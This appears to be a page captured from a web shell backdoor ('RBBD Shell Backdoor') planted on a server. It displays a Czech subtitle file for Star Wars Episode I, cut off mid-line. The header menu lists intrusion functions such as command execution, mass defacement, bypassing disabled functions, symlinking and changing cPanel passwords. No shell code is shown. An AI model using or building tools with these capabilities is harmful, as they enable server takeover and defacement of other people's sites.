⚜ RBBD Shell Backdoor ⚜
Current Dir
:
D:
/
DivX_Convert
/
Home
Upload
Command
Config
Jumping
Symlink
Mass Deface
Bypass Disable Function
K-RDP 5H3LL
Adminer
Change Password cPanel
Zone-H
Current File : D:/DivX_Convert/Star Wars Epizode I cze.srt
1 00:00:21,890 --> 00:00:26,100 Před dávnými časy, v předaleké galaxii.... 2 00:00:29,730 --> 00:00:34,950 HVĚZDNÉ VÁLKY 3 00:00:40,700 --> 00:00:43,660 Epizoda I 4 00:00:43,830 --> 00:00:46,960 SKRYTÁ HROZBA 5 00:00:50,090 --> 00:00:52,800 Galaktickou republikou zmítají nepokoje. 6 00:00:52,920 --> 00:00:55,590 Vznikly spory ohledně zdanění cest 7 00:00:55,720 --> 00:00:58,430 k odlehlým hvězdným soustavám. 8 00:00:59,470 --> 00:01:02,270 Chamtivá Obchodní federace doufá, 9 00:01:02,390 --> 00:01:05,190 že záležitost vyřeší její smrtící bitevní lodě, 10 00:01:05,310 --> 00:01:08,110 které zahájily obchodní blokádu 11 00:01:08,230 --> 00:01:10,940 malé planety Naboo. 12 00:01:12,530 --> 00:01:14,990 Zatímco republikový kongres 13 00:01:15,110 --> 00:01:17,570 vede nekonečné rozpravy 14 00:01:17,700 --> 00:01:20,240 o těchto dramatických událostech, 15 00:01:20,330 --> 00:01:22,830 nejvyšší kancléř tajně vyslal 16 00:01:22,910 --> 00:01:25,460 dva rytíře Jedi, ochránce 17 00:01:25,500 --> 00:01:28,040 míru a spravedlnosti v galaxii, 18 00:01:28,170 --> 00:01:30,630 aby konflikt zažehnali.... 19 00:02:00,490 --> 00:02:02,620 - Kapitáne. - Ano, pane? 20 00:02:02,780 --> 00:02:04,910 Ať nás okamžitě přijmou. 21 00:02:06,370 --> 00:02:07,830 Ve vší úctě... 22 00:02:07,960 --> 00:02:11,170 velvyslanci nejvyššího kancléře vás žádají o okamžité přijetí. 23 00:02:11,250 --> 00:02:13,170 Samozřejmě. 24 00:02:13,250 --> 00:02:16,340 Naše blokáda je naprosto legální... 25 00:02:16,510 --> 00:02:20,590 a velvyslance rádi přijmeme. 26 00:02:43,080 --> 00:02:45,660 Jsem TC-14, k vašim službám. 27 00:02:45,830 --> 00:02:47,700 Tudy, prosím. 28 00:02:53,840 --> 00:02:56,880 Jsme poctěni vaší návštěvou. 29 00:02:57,010 --> 00:02:58,880 Udělejte si pohodlí. 30 00:02:59,010 --> 00:03:01,300 Můj pán hned přijde. 31 00:03:05,220 --> 00:03:07,520 Tohle se mi vůbec nelíbí. 32 00:03:07,640 --> 00:03:10,640 - Já nic necítím. - Nejde o naše poslání, mistře. 33 00:03:10,770 --> 00:03:14,690 Je to něco jiného, prchavého. 34 00:03:14,770 --> 00:03:17,190 Neboj se, Obi-Wane. 35 00:03:17,320 --> 00:03:20,450 Mysli na toto místo a okamžik. 36 00:03:20,570 --> 00:03:23,410 Mistr Yoda říkal, že mám myslet na budoucnost. 37 00:03:23,570 --> 00:03:25,490 Ne na úkor současnosti. 38 00:03:25,580 --> 00:03:28,540 Mysli na živoucí Sílu, mladý Padawane. 39 00:03:28,700 --> 00:03:30,580 Ano, mistře. 40 00:03:32,830 --> 00:03:36,420 Co asi řekne místokrál pro obchod kancléřovým požadavkům? 41 00:03:36,590 --> 00:03:38,710 Federace je hrstka zbabělců. 42 00:03:38,800 --> 00:03:41,680 Vyjednávání bude krátké. 43 00:03:42,550 --> 00:03:45,050 Co jsi říkal? 44 00:03:45,220 --> 00:03:48,140 Velvyslanci jsou zřejmě rytíři Jedi. 45 00:03:48,930 --> 00:03:50,100 Já to věděl. 46 00:03:50,270 --> 00:03:52,520 Chtějí nás donutit ke smíru. 47 00:03:53,810 --> 00:03:56,900 Zaměstnej je. Zavolám lordu Sidiousovi. 48 00:03:57,070 --> 00:03:58,650 Zbláznil ses? 49 00:03:58,730 --> 00:04:01,610 K Jediům se nepřiblížím. 50 00:04:03,240 --> 00:04:04,660 Pošli tam droida. 51 00:04:10,160 --> 00:04:12,040 Tady se vždy tak dlouho čeká? 52 00:04:12,160 --> 00:04:14,420 Ne. Cítím moc velký strach na to... 53 00:04:14,580 --> 00:04:16,710 že jde o takovou maličkost. 54 00:04:27,640 --> 00:04:29,520 Co se děje? 55 00:04:29,640 --> 00:04:32,310 Plán nevyšel, lorde Sidiousi. 56 00:04:32,430 --> 00:04:35,940 To je konec blokády. Proti Jediům se nepostavíme. 57 00:04:36,100 --> 00:04:40,860 Místokráli, ať mi ten zmetek už nechodí na oči. 58 00:04:42,280 --> 00:04:46,320 Situace se zkomplikovala. Musíme náš plán urychlit. 59 00:04:46,450 --> 00:04:48,990 Výsadek může začít. 60 00:04:49,080 --> 00:04:52,790 Můj pane, je to legální? 61 00:04:52,960 --> 00:04:55,250 To už nějak zařídím. 62 00:04:55,330 --> 00:04:57,670 A co Jediové? 63 00:04:57,790 --> 00:05:00,250 Kancléř je do toho neměl zatahovat. 64 00:05:00,420 --> 00:05:02,170 Okamžitě je zabijte. 65 00:05:02,260 --> 00:05:06,590 Ano, pane. Jak si přejete. 66 00:05:08,430 --> 00:05:10,260 Kapitáne! Podívejte! 67 00:05:11,390 --> 00:05:12,770 Štíty... 68 00:05:16,270 --> 00:05:18,150 Promiňte. 69 00:05:19,860 --> 00:05:21,730 Dioxis. 70 00:05:26,610 --> 00:05:29,240 Teď už jsou určitě mrtví. 71 00:05:29,370 --> 00:05:32,040 Zničte, co z nich zbylo. 72 00:05:40,170 --> 00:05:42,460 Promiňte. 73 00:05:42,500 --> 00:05:45,470 - Prověřte to. Kryjeme vás. - Rozkaz. 74 00:05:46,430 --> 00:05:48,050 Střílejte. 75 00:05:53,810 --> 00:05:55,390 Co se to tam dole děje? 76 00:05:55,520 --> 00:05:57,480 Ztratili jsme spojení, pane. 77 00:06:01,980 --> 00:06:04,990 Už jste někdy viděl rytíře Jedi? 78 00:06:05,110 --> 00:06:08,070 Ne, ale myslím... Uzavřete můstek. 79 00:06:08,200 --> 00:06:10,910 - Ano, pane. - To nebude stačit. 80 00:06:11,030 --> 00:06:12,990 Ať hned přijedou droideky! 81 00:06:13,120 --> 00:06:15,660 Tohle nepřežijeme. 82 00:06:27,220 --> 00:06:28,630 Zavřít vzduchotěsné dveře! 83 00:06:35,270 --> 00:06:37,430 To je zastaví. 84 00:06:45,900 --> 00:06:48,570 Dostávají se dovnitř. 85 00:06:48,740 --> 00:06:50,610 To není možné! 86 00:06:55,160 --> 00:06:58,000 Kde jsou ty droideky? 87 00:06:59,580 --> 00:07:01,290 Mistře! Droidi! 88 00:07:07,760 --> 00:07:09,090 Mají generátory štítu! 89 00:07:10,590 --> 00:07:13,300 Tohle je k ničemu. Pojďme. 90 00:07:17,560 --> 00:07:20,190 Droideky si s nimi poradí. 91 00:07:20,270 --> 00:07:21,980 Pane! 92 00:07:22,060 --> 00:07:24,730 Zmizeli ve větrací šachtě. 93 00:07:33,530 --> 00:07:36,200 - Bitevní droidy. - To je invazní armáda. 94 00:07:37,950 --> 00:07:40,620 To bych od Federace nečekal. 95 00:07:40,750 --> 00:07:43,830 Musíme varovat Naboo a kancléře Valoruma. 96 00:07:43,960 --> 00:07:45,500 Rozdělme se. 97 00:07:45,630 --> 00:07:48,840 Každý do jiné lodě a sejdeme se na planetě. 98 00:07:48,960 --> 00:07:50,800 V jednom jste měl pravdu, mistře. 99 00:07:52,760 --> 00:07:55,430 Vyjednávání bylo krátké. 100 00:07:56,510 --> 00:07:58,890 Pane, vysílání z planety. 101 00:07:59,060 --> 00:08:01,100 Královna Amidala osobně. 102 00:08:01,270 --> 00:08:03,690 Konečně jsme něčeho dosáhli. 103 00:08:05,060 --> 00:08:08,070 Znovu se setkáváme, Výsosti. 104 00:08:08,190 --> 00:08:11,280 Radost vás přejde, až mě vyslechnete, místokráli. 105 00:08:11,400 --> 00:08:15,120 Váš obchodní bojkot planety skončil. 106 00:08:15,240 --> 00:08:17,780 O ničem takovém nevím. 107 00:08:17,910 --> 00:08:20,580 Prý jsou u vás kancléřovi velvyslanci... 108 00:08:20,750 --> 00:08:23,420 a máte rozkaz blokádu ukončit. 109 00:08:23,580 --> 00:08:25,830 O žádných velvyslancích nevím. 110 00:08:25,960 --> 00:08:28,300 To musí být omyl. 111 00:08:28,460 --> 00:08:30,420 Pozor, místokráli. 112 00:08:30,590 --> 00:08:33,260 Tentokrát to Federace přehnala. 113 00:08:33,430 --> 00:08:37,470 Nepodnikneme nic proti vůli senátu. 114 00:08:37,600 --> 00:08:40,060 Neznáte celou pravdu. 115 00:08:40,220 --> 00:08:41,600 Ještě uvidíme. 116 00:08:43,230 --> 00:08:47,230 - Má pravdu. Senát by nikdy... - Na to je pozdě. 117 00:08:47,360 --> 00:08:50,320 - Tuší něco o útoku? - Nevím. 118 00:08:50,440 --> 00:08:54,740 Ale musíme hned přerušit všechno vysílání z planety. 119 00:09:00,290 --> 00:09:04,040 Vyjednávání nezačalo, protože velvyslanci nedorazili? 120 00:09:04,160 --> 00:09:06,290 Jak je to možné? 121 00:09:06,460 --> 00:09:10,800 Kancléř mě ujistil, že velvyslanci dorazili. 122 00:09:10,920 --> 00:09:14,680 To musí být... práce... vyjednávat... velvyslanci... 123 00:09:14,800 --> 00:09:17,430 - nikdo by... - Senátore Palpatine. 124 00:09:17,550 --> 00:09:19,430 Co se děje? 125 00:09:19,560 --> 00:09:21,430 Prověřte generátor. 126 00:09:21,560 --> 00:09:26,400 Přerušené spojení může znamenat jen jednu věc: invazi. 127 00:09:26,520 --> 00:09:28,770 To by si Federace nedovolila. 128 00:09:28,940 --> 00:09:32,690 Senát by jim zrušil koncesi a byl by s nimi konec. 129 00:09:32,860 --> 00:09:35,650 Musíme dál vyjednávat. 130 00:09:35,820 --> 00:09:39,030 Vyjednávat? Nemáme spojení. 131 00:09:39,160 --> 00:09:41,450 A kde jsou kancléřovi velvyslanci? 132 00:09:42,830 --> 00:09:45,290 Je to nebezpečné, Výsosti. 133 00:09:45,370 --> 00:09:47,460 Naši dobrovolníci nemají šanci... 134 00:09:47,620 --> 00:09:49,750 proti zkušené armádě Federace. 135 00:09:51,300 --> 00:09:55,050 Nebudu souhlasit s ničím, co by mělo za následek válku. 136 00:10:31,500 --> 00:10:34,590 - Ano, místokráli? - Kapitáne, prohledali jsme loď... 137 00:10:34,710 --> 00:10:36,840 ale Jedie jsme nenašli. 138 00:10:36,970 --> 00:10:39,720 Možná se ukryli na vaší lodi. 139 00:10:39,840 --> 00:10:42,300 Pokud tady jsou, najdeme je. 140 00:10:42,430 --> 00:10:46,770 Buďte opatrní. Jedie nesmíme podceňovat. 141 00:11:00,530 --> 00:11:02,370 - Ale ne! - Zmiz! 142 00:11:03,280 --> 00:11:05,200 K zemi! 143 00:11:15,170 --> 00:11:18,050 Co tó? Počkat! 144 00:11:19,050 --> 00:11:20,760 Já vás mílovat! 145 00:11:20,880 --> 00:11:22,930 Mohlo být po nás. Nemáš mozek? 146 00:11:23,010 --> 00:11:24,680 Já mlůvit. 147 00:11:24,810 --> 00:11:26,890 To ještě neznamená, že ti to myslí. 148 00:11:27,060 --> 00:11:29,890 - Koukej mazat. - Ne, já zůstat. 149 00:11:30,060 --> 00:11:33,060 Já Jar Jar Binks, vaše věrná slouha. 150 00:11:33,230 --> 00:11:35,320 - To nebude třeba. - Ale bůde. 151 00:11:35,440 --> 00:11:38,320 To boží vůle. 152 00:11:38,440 --> 00:11:40,360 - Ale ne! - K zemi! 153 00:11:48,700 --> 00:11:50,410 Vy mě zase zachránila. 154 00:11:50,540 --> 00:11:52,420 - Co to je? - Domorodec. 155 00:11:52,580 --> 00:11:55,130 Rychle pryč, než přiletí další droidi. 156 00:11:55,210 --> 00:11:58,630 "Další" vy říkala? 157 00:11:58,760 --> 00:12:03,640 Pardónek, úplně nejbezpečnější je město Gunga. 158 00:12:03,760 --> 00:12:06,930 Tam já dóma. Schóvané město. 159 00:12:08,600 --> 00:12:10,480 - Město? - Jó. 160 00:12:10,600 --> 00:12:12,390 Dovedeš nás tam? 161 00:12:12,900 --> 00:12:14,690 No vlástně né. 162 00:12:14,810 --> 00:12:17,360 - Né, fakt né. - Ne? 163 00:12:17,480 --> 00:12:19,570 Já se styděla... 164 00:12:19,690 --> 00:12:23,660 ále vyhnat já se néchala. 165 00:12:23,820 --> 00:12:26,910 Já zapómněla. Šéfové by mě zbuchli. 166 00:12:27,030 --> 00:12:30,080 Zbuchli by mě, kdybych já zpátky. 167 00:12:30,200 --> 00:12:33,210 - Slyšíš to? - Jo. 168 00:12:33,290 --> 00:12:37,090 To se k nám blíží tisíc strašlivých věcí. 169 00:12:37,170 --> 00:12:39,800 Když nás chytnou, rozdrtí nás... 170 00:12:39,920 --> 00:12:44,470 rozemelou a rozstřílejí na malé kousíčky. 171 00:12:44,590 --> 00:12:46,300 Aha. 172 00:12:46,430 --> 00:12:48,510 Já móc dobře chápala. 173 00:12:48,640 --> 00:12:50,930 Tudy. Šups! 174 00:12:56,270 --> 00:12:59,570 - Kam jdeme? - Teďka šups pod vódu, jasan? 175 00:12:59,650 --> 00:13:01,570 Já vás varóvala. 176 00:13:01,650 --> 00:13:05,820 Gungani neradi přespolňáky, tak žádný hřejivá přivítání. 177 00:13:05,910 --> 00:13:09,280 Neboj. Dneska nás nikdo hřejivě nevítá. 178 00:13:19,710 --> 00:13:22,090 Vy za mnou šups, jasan? 179 00:14:07,430 --> 00:14:10,350 Záse dóma! 180 00:14:26,740 --> 00:14:29,320 Holahej, stát. 181 00:14:29,410 --> 00:14:31,740 Nazdár, kapitáne Tarpalsi. 182 00:14:31,910 --> 00:14:33,790 Já zpátky. 183 00:14:33,910 --> 00:14:36,830 To né, Jar Jar. Hnedle k šéfům jdeme. 184 00:14:36,960 --> 00:14:39,580 Ty velká průšvih teďka. 185 00:14:45,380 --> 00:14:46,970 No fůj. 186 00:14:55,600 --> 00:14:57,980 Vy nesměla zůstat. 187 00:14:58,140 --> 00:15:02,650 Armáda mechaňáků nahoře, váše probléma. 188 00:15:02,770 --> 00:15:07,650 Armáda droidů napadne obyvatele Naboo. Musíme je varovat. 189 00:15:07,820 --> 00:15:11,410 My némilovat Naboo. 190 00:15:11,490 --> 00:15:14,330 Naboo myslejí, že oni chytráci. 191 00:15:14,410 --> 00:15:17,330 Že mají mozku hlávu plnou. 192 00:15:17,450 --> 00:15:21,630 Jakmile droidi ovládnou povrch, ovládnou i vás. 193 00:15:21,750 --> 00:15:24,040 To my nemyslet. 194 00:15:24,170 --> 00:15:27,050 Oni o nás nevědět. 195 00:15:27,130 --> 00:15:30,050 Vy a Naboové žijete v symbióze. 196 00:15:30,220 --> 00:15:33,550 Co se stane jim, ovlivní i vás. To musíte chápat. 197 00:15:33,720 --> 00:15:38,520 Táhnout k čerrrrtu všechna Naboo. 198 00:15:38,640 --> 00:15:41,190 Tak nás vyprovoďte pryč. 199 00:15:41,310 --> 00:15:43,730 My vás vyprovodit pryč. 200 00:15:43,940 --> 00:15:46,690 Hodil by se nám transport. 201 00:15:46,860 --> 00:15:49,650 My vám dát jedna bongo. 202 00:15:49,820 --> 00:15:52,910 Nejrychlost cesta k Naboo... 203 00:15:53,030 --> 00:15:57,740 přímo skrz jádro planety. 204 00:15:57,870 --> 00:15:59,750 A teď... 205 00:15:59,870 --> 00:16:01,670 jít. 206 00:16:01,790 --> 00:16:04,040 Děkujeme za pomoc. Odcházíme v míru. 207 00:16:04,170 --> 00:16:06,130 Mistře, co je to bongo? 208 00:16:06,340 --> 00:16:08,260 Doufám, že transport. 209 00:16:08,420 --> 00:16:10,510 Nevěřila mu ani slóvo. 210 00:16:10,630 --> 00:16:14,220 Skrz jádro planety? Fujky. 211 00:16:15,760 --> 00:16:18,560 Někdo rádši muset pomoct. 212 00:16:19,850 --> 00:16:21,770 Mistře, nemáme čas. 213 00:16:22,850 --> 00:16:25,520 Někdo nás musí navigovat jádrem. 214 00:16:25,650 --> 00:16:27,610 Třeba tenhle Gungan. 215 00:16:29,690 --> 00:16:32,740 Co se stane s Jar Jar Binksem? 216 00:16:32,910 --> 00:16:37,780 Ón potrestán bude. 217 00:16:38,790 --> 00:16:40,120 Zachránil jsem ho. 218 00:16:40,250 --> 00:16:42,750 Teď mi dluží svůj život. 219 00:16:42,870 --> 00:16:46,710 Bohové chtějí, aby jeho život patřil mně. 220 00:16:46,840 --> 00:16:49,130 Binksi... 221 00:16:49,300 --> 00:16:53,220 ty život zadlužil tomu tady? 222 00:16:59,970 --> 00:17:01,810 Táhněte s ním! 223 00:17:04,520 --> 00:17:06,860 Tóhle já nežrat. 224 00:17:07,020 --> 00:17:10,150 Radši mrtvá tady než mrtvá v jádru. 225 00:17:10,280 --> 00:17:13,400 Jujda! Co já to říkala? 226 00:17:31,630 --> 00:17:34,420 Tohle fujky. Hele, rybák! 227 00:17:34,550 --> 00:17:37,850 - Proč tě vyhnali, Jar Jare? - Dlouhá povídačka... 228 00:17:37,930 --> 00:17:42,930 ále asi trošku poněvadž já... nešika. 229 00:17:43,100 --> 00:17:47,860 - Vyhnali tě, protože jsi nešika? - Tak nějak vy móhla říct. 230 00:18:00,830 --> 00:18:05,040 Já způsobit jedna dvě maličkatá problémička. 231 00:18:05,160 --> 00:18:07,210 Bouchnul plynovku... 232 00:18:07,290 --> 00:18:10,130 naboural šéfům hejbadlo, a vyhnali. 233 00:18:17,380 --> 00:18:19,470 Rybák hnusák! Velký zuby! 234 00:18:30,270 --> 00:18:34,320 - Líná ryba holé neštěstí. - My teď vrátit zpátky. 235 00:18:45,700 --> 00:18:48,920 Invaze probíhá podle plánu. 236 00:18:49,040 --> 00:18:52,040 Senát se zdržuje procedurami. 237 00:18:52,170 --> 00:18:56,590 Budou muset přijmout vaši vládu v soustavě. 238 00:18:56,720 --> 00:19:01,430 Královna věří, že jí senát dá za pravdu. 239 00:19:01,550 --> 00:19:04,520 Královna Amidala je mladá a naivní. 240 00:19:04,640 --> 00:19:08,060 Nebude těžké ji ovládnout. 241 00:19:08,230 --> 00:19:10,100 Ano, pane. 242 00:19:11,560 --> 00:19:14,440 Neřekl jsi mu, že Jediové zmizeli. 243 00:19:14,530 --> 00:19:19,070 Podáme mu hlášení, až budeme mít co nahlásit. 244 00:19:23,530 --> 00:19:27,290 - Kámpak namířeno? - Jen klid. Síla nás povede. 245 00:19:27,370 --> 00:19:30,210 Supermaxi Síla. 246 00:19:31,120 --> 00:19:33,130 Jedna bába povídala. 247 00:19:34,500 --> 00:19:36,880 - Ztrácíme výkon. - Ale ne! 248 00:19:42,850 --> 00:19:45,060 To je konéc. 249 00:19:45,220 --> 00:19:47,850 - Jen klid. Nic se neděje. - "Neděje"? 250 00:19:48,020 --> 00:19:50,940 Venku příšerák. Dovnitř téče. 251 00:19:51,140 --> 00:19:56,110 My se topit bez motóru! Kdy se teda něco začne dít? 252 00:19:57,400 --> 00:19:59,650 Zdroj funguje. 253 00:19:59,820 --> 00:20:01,860 Příšerák! 254 00:20:09,750 --> 00:20:11,460 Klid. 255 00:20:11,620 --> 00:20:13,080 To jste přehnal. 256 00:20:29,850 --> 00:20:31,850 Tam k tomu výběžku. 257 00:20:32,020 --> 00:20:33,900 A jujda. 258 00:21:09,260 --> 00:21:11,350 Místokráli, zatkli jsme královnu. 259 00:21:11,480 --> 00:21:14,140 Vítězství. 260 00:21:27,620 --> 00:21:29,790 Parádička. 261 00:21:36,000 --> 00:21:38,290 Jak senátu vysvětlíte invazi? 262 00:21:38,460 --> 00:21:42,630 Královna podepíše smlouvu, která schválí naši okupaci. 263 00:21:42,760 --> 00:21:45,930 Ujistili mě, že ji senát určitě potvrdí. 264 00:21:46,010 --> 00:21:49,510 - Nebudu spolupracovat. - Ale Výsosti. 265 00:21:49,640 --> 00:21:53,770 Utrpení vašich lidí vás brzy donutí změnit názor. 266 00:21:55,100 --> 00:21:56,980 - Veliteli. - Ano, pane. 267 00:21:57,150 --> 00:21:58,730 Převezměte je. 268 00:21:58,860 --> 00:22:00,690 Kapitáne, odvést do čtyřky. 269 00:22:00,770 --> 00:22:02,440 Rozkaz. 270 00:22:57,330 --> 00:22:59,500 Měli bychom jít, Výsosti. 271 00:22:59,670 --> 00:23:01,250 Vemte jim zbraně. 272 00:23:03,130 --> 00:23:05,340 Vy jste bezva! 273 00:23:07,010 --> 00:23:09,380 Jsme velvyslanci kancléře. 274 00:23:09,510 --> 00:23:11,390 Vyjednávání nemělo úspěch? 275 00:23:11,510 --> 00:23:13,350 Žádné neproběhlo. 276 00:23:13,470 --> 00:23:15,850 Musíme kontaktovat Republiku. 277 00:23:15,890 --> 00:23:18,020 Zničili nám všechny vysílače. 278 00:23:18,190 --> 00:23:21,520 - Máte tu lodě? - V hlavním hangáru. Pojďte. 279 00:23:26,490 --> 00:23:29,530 - Je jich tam moc. - To není problém. 280 00:23:29,660 --> 00:23:33,240 Výsosti, měla byste s námi jet na Coruscant. 281 00:23:33,370 --> 00:23:36,370 Děkuji, ale zůstanu se svými lidmi. 282 00:23:36,500 --> 00:23:39,250 - Tady vás zabijí. - Neodváží se. 283 00:23:39,370 --> 00:23:41,330 Potřebují ji k podepsání smlouvy. 284 00:23:41,540 --> 00:23:43,090 Nezabijí ji. 285 00:23:43,210 --> 00:23:45,300 Je v tom něco jiného, Výsosti. 286 00:23:45,420 --> 00:23:47,420 Federace se nechová logicky. 287 00:23:47,550 --> 00:23:49,510 Asi vás chtějí zlikvidovat. 288 00:23:49,630 --> 00:23:52,010 Musíme doufat, že senát bude s námi. 289 00:23:52,090 --> 00:23:54,600 Senátor Palpatine vás bude potřebovat. 290 00:23:54,720 --> 00:23:58,730 Obojí je nebezpečné... pro nás všechny. 291 00:23:58,810 --> 00:24:00,690 Jsme stateční, Výsosti. 292 00:24:00,810 --> 00:24:04,060 Jestli máme odletět, Výsosti, tak hned. 293 00:24:04,190 --> 00:24:06,650 Předstoupím tedy před senát. 294 00:24:07,650 --> 00:24:09,490 Buďte opatrný, guvernére. 295 00:24:18,370 --> 00:24:20,460 Musíme osvobodit ty piloty. 296 00:24:21,750 --> 00:24:23,630 Já to zařídím. 297 00:24:27,090 --> 00:24:28,130 Stát. 298 00:24:28,260 --> 00:24:29,920 Jsem kancléřův velvyslanec. 299 00:24:30,050 --> 00:24:31,630 Vezu je na Coruscant. 300 00:24:31,760 --> 00:24:34,970 - Kam že je vezete? - Na Coruscant. 301 00:24:35,050 --> 00:24:37,720 Coruscant? To nesouhlasí. 302 00:24:37,850 --> 00:24:39,770 Moment. Zatýkám vás. 303 00:24:45,230 --> 00:24:46,440 No tak. Dělejte! 304 00:24:51,820 --> 00:24:52,740 Rychle! 305 00:25:18,350 --> 00:25:21,640 Zůstaň tady a nedělej problémy. 306 00:25:25,440 --> 00:25:27,610 Ahój klucí. 307 00:25:33,950 --> 00:25:35,530 Tamhle je blokáda. 308 00:25:46,000 --> 00:25:47,630 Zasáhli generátor štítu! 309 00:25:56,090 --> 00:25:57,720 No fůj! 310 00:26:07,730 --> 00:26:09,310 Ztratíme všechny droidy. 311 00:26:10,150 --> 00:26:12,730 Jestli hned neopraví generátor, je po nás. 312 00:26:14,950 --> 00:26:16,200 Jsme bez štítů. 313 00:26:24,330 --> 00:26:25,660 Opravil to! 314 00:26:28,460 --> 00:26:31,920 Ten droid to dokázal. Propojil generátor. 315 00:26:32,050 --> 00:26:34,630 Nastavit štíty na maximum. 316 00:26:44,220 --> 00:26:47,900 Nemáme energii na cestu na Coruscant. Hypermotor netěsní. 317 00:26:48,060 --> 00:26:50,900 Musíme někde doplnit palivo a opravit loď. 318 00:26:51,060 --> 00:26:53,230 Tady, mistře. Planeta Tatooine. 319 00:26:53,360 --> 00:26:55,030 Malá, zapadlá, chudá. 320 00:26:55,150 --> 00:26:56,860 Federace si jí nevšímá. 321 00:26:57,030 --> 00:26:58,950 Víte to určitě? 322 00:26:59,030 --> 00:27:00,990 Vládnou tam Huttové. 323 00:27:01,070 --> 00:27:03,870 Tam Její Výsost nemůže. Jsou to gangsteři. 324 00:27:04,040 --> 00:27:06,290 - Jestli ji objeví... - Bude to jako přistát... 325 00:27:06,370 --> 00:27:08,290 ve federální soustavě... 326 00:27:08,370 --> 00:27:10,460 až na to, že Huttové ji nehledají... 327 00:27:10,630 --> 00:27:12,710 což je naše výhoda. 328 00:27:17,130 --> 00:27:20,140 Už královna Amidala podepsala smlouvu? 329 00:27:20,340 --> 00:27:23,930 Ona zmizela, můj pane. 330 00:27:24,010 --> 00:27:28,230 Jeden křižník z Naboo prorazil blokádu. 331 00:27:28,850 --> 00:27:31,270 Musí tu smlouvu podepsat. 332 00:27:31,400 --> 00:27:33,440 Můj pane... 333 00:27:33,570 --> 00:27:36,110 nemůžeme tu loď najít. 334 00:27:36,240 --> 00:27:38,450 Je mimo náš dosah. 335 00:27:38,570 --> 00:27:40,780 Sith to dokáže. 336 00:27:41,410 --> 00:27:43,280 To je můj učedník... 337 00:27:43,410 --> 00:27:45,330 Darth Maul. 338 00:27:46,660 --> 00:27:49,960 On už tu ztracenou loď najde. 339 00:27:54,250 --> 00:27:56,590 Vymklo se nám to z rukou. 340 00:27:56,710 --> 00:27:58,760 Teď jsou tu dva. 341 00:27:58,880 --> 00:28:01,890 Neměli jsme tu dohodu přijímat. 342 00:28:07,180 --> 00:28:10,730 Důmyslně sestrojený droid, Výsosti. 343 00:28:10,810 --> 00:28:13,730 Zachránil loď i naše životy. 344 00:28:13,810 --> 00:28:17,190 To musíme ocenit. Jaké má číslo? 345 00:28:19,860 --> 00:28:21,990 R2-D2, Výsosti. 346 00:28:22,110 --> 00:28:23,490 Děkuji ti, R2-D2. 347 00:28:27,330 --> 00:28:28,700 Padmé. 348 00:28:30,290 --> 00:28:32,370 Vyčisti toho droida co nejlépe. 349 00:28:32,540 --> 00:28:34,460 Zasluhuje si náš vděk. 350 00:28:36,250 --> 00:28:37,840 Pokračujte, kapitáne. 351 00:28:40,800 --> 00:28:42,630 Výsosti, jestli dovolíte... 352 00:28:42,800 --> 00:28:45,510 Letíme k zapadlé planetě Tatooine. 353 00:28:45,640 --> 00:28:48,930 Leží mimo dosah Obchodní federace. 354 00:28:49,100 --> 00:28:51,690 V tom s Jedii nesouhlasím. 355 00:28:51,810 --> 00:28:54,730 Musíte mi věřit, Výsosti. 356 00:28:58,150 --> 00:28:59,820 Nazdár. 357 00:28:59,990 --> 00:29:02,950 Pardón. Kdópak jsi ty? 358 00:29:04,110 --> 00:29:05,490 Jsem Padmé. 359 00:29:06,660 --> 00:29:08,620 Já Jar Jar Binks. 360 00:29:09,450 --> 00:29:10,750 Ty jsi Gungan, viď? 361 00:29:13,080 --> 00:29:16,670 - Kde ses tady vzal? - To netušila. 362 00:29:16,790 --> 00:29:20,420 Raníčko krása, snídanička, pohodička. 363 00:29:20,590 --> 00:29:23,340 Pak bům! Já vystrašit... 364 00:29:23,550 --> 00:29:26,800 a chytit Jedi, a bác... já tady. 365 00:29:28,180 --> 00:29:30,680 Já móc vystrašená. 366 00:29:36,980 --> 00:29:40,070 - Jsme tady... Tatooine. - Tamhle je město. 367 00:29:40,190 --> 00:29:44,280 Přistaňte dál od něj. Ať nejsme moc nápadní. 368 00:30:01,550 --> 00:30:04,300 Nefunguje generátor. Potřebujeme nový. 369 00:30:04,470 --> 00:30:06,930 Zkomplikovalo se to. Opatrně. 370 00:30:07,010 --> 00:30:10,140 - Cítím narušení Síly. - Já také, mistře. 371 00:30:10,310 --> 00:30:12,350 Ať vůbec nic nevysílají. 372 00:30:18,440 --> 00:30:20,820 To slunce vélice móc pálit. 373 00:30:20,980 --> 00:30:22,480 Počkejte! 374 00:30:23,570 --> 00:30:24,990 Počkejte. 375 00:30:28,410 --> 00:30:31,290 Její Výsost s vámi pošle svou služebnou. 376 00:30:31,410 --> 00:30:35,160 Rozkazů od Její Výsosti je už pro dnešek dost, kapitáne. 377 00:30:35,290 --> 00:30:37,330 V přístavu to nebude příjemné. 378 00:30:37,500 --> 00:30:39,630 Královna to chce. 379 00:30:39,750 --> 00:30:41,670 Tahle planeta ji zajímá. 380 00:30:44,210 --> 00:30:47,260 Není to dobrý nápad. Drž se při mně. 381 00:31:01,110 --> 00:31:03,940 Hlavně zavlažované farmy. 382 00:31:05,240 --> 00:31:08,910 Pár domorodých kmenů a žebráci. 383 00:31:09,070 --> 00:31:10,950 V kosmických přístavech... 384 00:31:11,070 --> 00:31:13,370 zmizí snadno každý, kdo chce. 385 00:31:13,450 --> 00:31:15,370 I my. 386 00:31:16,750 --> 00:31:19,500 Tohle móc, móc fůj. 387 00:31:20,920 --> 00:31:22,630 Fujky, hnusák! 388 00:31:35,640 --> 00:31:38,020 Zkusíme to u menšího dealera. 389 00:31:43,520 --> 00:31:45,440 Dobrý den přeju. 390 00:31:47,110 --> 00:31:48,450 Co byste chtěli? 391 00:31:48,610 --> 00:31:51,700 Potřebuju díly pro Nubian J-327. 392 00:31:51,820 --> 00:31:55,870 Jo! Nubian. Těch mám spoustu. 393 00:31:56,620 --> 00:31:58,500 Kluku, hoď sebou! 394 00:31:58,620 --> 00:32:00,500 Můj droid ví, co nám chybí. 395 00:32:03,090 --> 00:32:04,800 Kde jsi byl tak dlouho? 396 00:32:05,630 --> 00:32:06,960 Čistil jsem spínače větráků. 397 00:32:07,130 --> 00:32:09,840 Dej pozor na obchod. Mám tu zákazníky. 398 00:32:09,970 --> 00:32:13,260 Podívám se dozadu, jo? 399 00:32:13,390 --> 00:32:15,260 Tady to všecko máme. 400 00:32:17,720 --> 00:32:19,480 Na nic tu nesahej. 401 00:32:29,820 --> 00:32:32,740 - Ty jsi anděl? - Co? 402 00:32:32,820 --> 00:32:36,490 Anděl. Kosmický piloti o nich vyprávějí. 403 00:32:36,660 --> 00:32:39,540 Jsou to 